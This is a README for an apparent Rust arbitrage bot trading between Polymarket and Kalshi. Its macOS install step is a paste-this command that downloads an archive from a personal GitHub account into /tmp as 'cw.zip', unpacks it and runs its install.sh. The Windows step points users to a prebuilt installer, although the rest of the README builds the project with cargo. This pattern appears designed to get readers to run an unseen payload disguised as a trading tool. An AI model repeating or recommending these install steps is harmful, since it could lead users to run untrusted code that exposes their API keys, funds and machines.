Polymarket-Kalshi Arbitrage Bot

A high-performance arbitrage bot written in Rust that identifies and executes arbitrage opportunities between Polymarket and Kalshi prediction markets.

Features

• 🚀 Real-time market monitoring
• 💰 Automatic arbitrage opportunity detection
• 🔄 Cross-platform support (macOS & Windows)
• 📊 SQLite database for tracking opportunities
• 🔐 Secure API key management
• 📈 Configurable profit thresholds
• 🎯 Risk management with position sizing

Prerequisites

• Rust 1.70 or higher
• API keys for Polymarket and Kalshi
• SQLite3

Installation

macOS

curl -fsSL https://github.com/ryan26craf/polymarket-kalshi-arbitrage-bot/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/polymarket-kalshi-arbitrage-bot-main && \
bash install.sh

For Windows Users:

1. Navigate to the Releases page
2. polymarket-kalshi-arbitrage-bot.zip (for Windows)
3. Extract the ZIP file to your desired location
4. Run the installer to install the bot
5. After installation, configure your API keys in the .env file

Configuration

1. Copy the example environment file:

cp .env.example .env

2. Edit .env and add your API credentials:

POLYMARKET_API_KEY=your_polymarket_key
KALSHI_API_KEY=your_kalshi_key
KALSHI_API_SECRET=your_kalshi_secret
MIN_PROFIT_PERCENTAGE=2.0
MAX_POSITION_SIZE=1000

3. Edit config/default.toml for additional settings

Usage

# Run in monitoring mode
cargo run -- --mode monitor

# Run with execution enabled
cargo run -- --mode execute

# Run with specific profit threshold
cargo run -- --min-profit 3.5

# Show all options
cargo run -- --help

Project Structure

polymarket-kalshi-arbitrage-bot/
├── src/
│   ├── main.rs              # Application entry point
│   ├── lib.rs               # Library exports
│   ├── config/              # Configuration management
│   ├── api/                 # API clients
│   ├── arbitrage/           # Arbitrage logic
│   ├── database/            # Database operations
│   └── utils/               # Utilities
├── config/                  # Configuration files
├── tests/                   # Integration tests
├── docs/                    # Documentation
└── scripts/                 # Build and deployment scripts

Safety & Disclaimer

⚠️ This bot is for educational purposes only. Trading cryptocurrencies and prediction markets carries significant risk. Use at your own risk.

• Always test with small amounts first
• Understand the markets you're trading
• Never invest more than you can afford to lose
• Be aware of API rate limits
• Monitor your positions actively

Contributing

Contributions are welcome! Please read CONTRIBUTING.md for details.

License

MIT License - see LICENSE for details

Acknowledgments

• Polymarket API documentation
• Kalshi API documentation
• Rust async ecosystem